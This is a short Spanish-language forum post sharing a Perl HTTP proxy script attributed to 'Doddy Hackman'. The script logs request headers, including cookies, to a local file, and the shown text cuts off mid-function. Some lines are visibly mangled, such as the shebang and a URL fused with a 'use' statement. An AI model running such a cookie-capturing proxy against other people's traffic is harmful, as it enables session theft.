Hola, tengo el siguiente código:
#!usr/bin/perl
#A simple Proxy Server
#(C) Doddy Hackman 2011
#ppm install
http://theoryx5.uwinnipeg.ca/ppms/HTTP-Proxy.ppduse HTTP::Proxy;
use HTTP::Proxy::BodyFilter::simple;
use HTTP::Proxy::BodyFilter::complete;
my $port = "8083";
my $logs = "logs.txt";
print "\n\n Proxy server Online in port $port\n\n";
my $server = HTTP::Proxy->new(port=>$port);
$server->host();
$server->push_filter(mime=>undef,response => HTTP::Proxy::BodyFilter::complete->new());
$server->push_filter(
mime=>undef,
request=>HTTP::Proxy::BodyFilter::simple->new(\&enable),
response => HTTP::Proxy::BodyFilter::simple->new(\&enable2));
$server->start();
sub enable {
my @logs;
my($a,$b,$c,$d,$e) = @_;
my ($f,$g)=($c->header("cookie"),$c->header("x-requested-with"));
my ($h,$i)=($c->header("content-type"),$c->header("content"));
savefile($logs,"\n : ...